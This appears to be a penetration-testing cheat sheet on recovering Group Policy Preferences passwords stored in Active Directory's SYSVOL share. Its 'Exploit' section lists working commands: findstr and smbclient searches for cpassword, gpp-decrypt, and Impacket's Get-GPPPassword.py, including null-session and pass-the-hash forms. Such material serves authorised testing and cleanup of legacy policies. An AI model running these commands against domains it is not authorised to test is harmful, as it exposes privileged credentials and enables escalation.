Overview
Group Policy Preferences (GPP) are a powerful tool that once allowed administrators to create domain policies with embedded credentials. These policies allowed administrators to set local accounts, embed credentials for the purposes of mapping drives, or perform other tasks that may otherwise require an embedded password in a script. While a useful tool, the storage mechanism for the credentials was flawed and allowed attackers to trivially decrypt the plaintext credentials. While addressed in MS14-025, this patch only prevents new policies from being created, and any legacy GPPs containing credentials must be found and removed. Often, these kinds of policies can involve service accounts that frequently have elevated privileges. And one of these methods to find those credentials is mining SYSVOL for credential data. SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. SYSVOL contains logon scripts, group policy data, and other domain-wide data which needs to be available anywhere there is a Domain Controller (since SYSVOL is automatically synchronized and shared among all Domain Controllers). All domain Group Policies are stored here:
\\<DOMAIN CONTROLLER>\SYSVOL\<DOMAIN>\Policies\
Exploit
- Look for
cpassword
in .xml files such as Groups.xml
On Windows
findstr /S /I cpassword \\<DOMAIN CONTROLLER>\sysvol\<DOMAIN>\policies\*.xml
# Then decrypt it on Linux
gpp-decrypt <hash>
On Linux
smbclient \\\\<DOMAIN CONTROLLER>\\sysvol
> mget * (to list all the files including policies)
# With Impacket
#with a NULL session
Get-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER'
#with cleartext credentials
Get-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
#pass the hash(with an NT hash)
Get-GPPPassword.py -hashes :'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
#parse a local file
Get-GPPPassword.py -xmlfile '/path/to/Policy.xml' 'LOCAL'